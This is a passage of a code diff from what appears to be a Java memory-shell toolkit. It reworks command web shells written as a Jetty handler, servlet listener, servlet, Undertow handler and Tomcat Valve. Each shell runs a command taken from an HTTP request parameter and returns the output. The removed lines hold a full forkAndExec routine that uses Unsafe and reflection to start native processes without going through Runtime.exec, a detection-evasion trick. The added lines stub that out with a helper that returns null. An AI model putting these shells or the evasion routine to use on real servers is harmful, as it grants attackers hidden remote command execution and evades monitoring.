byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
|
||||
+7
-103
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
|
||||
* @since 2025/5/15
|
||||
*/
|
||||
public class CommandJettyHandler {
|
||||
public static String paramName;
|
||||
private static String paramName;
|
||||
|
||||
public String getParam(String param) {
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -46,12 +50,7 @@ public class CommandJettyHandler {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -65,99 +64,4 @@ public class CommandJettyHandler {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
+7
-107
@@ -1,21 +1,17 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public static String paramName;
|
||||
private static String paramName;
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
@@ -25,10 +21,14 @@ public class CommandListener implements ServletRequestListener {
|
||||
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
@@ -36,12 +36,7 @@ public class CommandListener implements ServletRequestListener {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -53,101 +48,6 @@ public class CommandListener implements ServletRequestListener {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
+7
-103
@@ -17,28 +17,27 @@ import java.lang.reflect.Method;
|
||||
* @since 2024/12/15
|
||||
*/
|
||||
public class CommandServlet extends HttpServlet {
|
||||
public static String paramName;
|
||||
private static String paramName;
|
||||
|
||||
@Override
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
doPost(req, resp);
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -50,99 +49,4 @@ public class CommandServlet extends HttpServlet {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
+7
-103
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
|
||||
* @since 2025/5/15
|
||||
*/
|
||||
public class CommandUndertowServletHandler {
|
||||
public static String paramName;
|
||||
private static String paramName;
|
||||
|
||||
public String getParam(String param) {
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -32,12 +36,7 @@ public class CommandUndertowServletHandler {
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -51,99 +50,4 @@ public class CommandUndertowServletHandler {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
+30
-131
@@ -3,26 +3,49 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandValve implements Valve {
|
||||
public static String paramName;
|
||||
private static String paramName;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
@@ -41,128 +64,4 @@ public class CommandValve implements Valve {
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
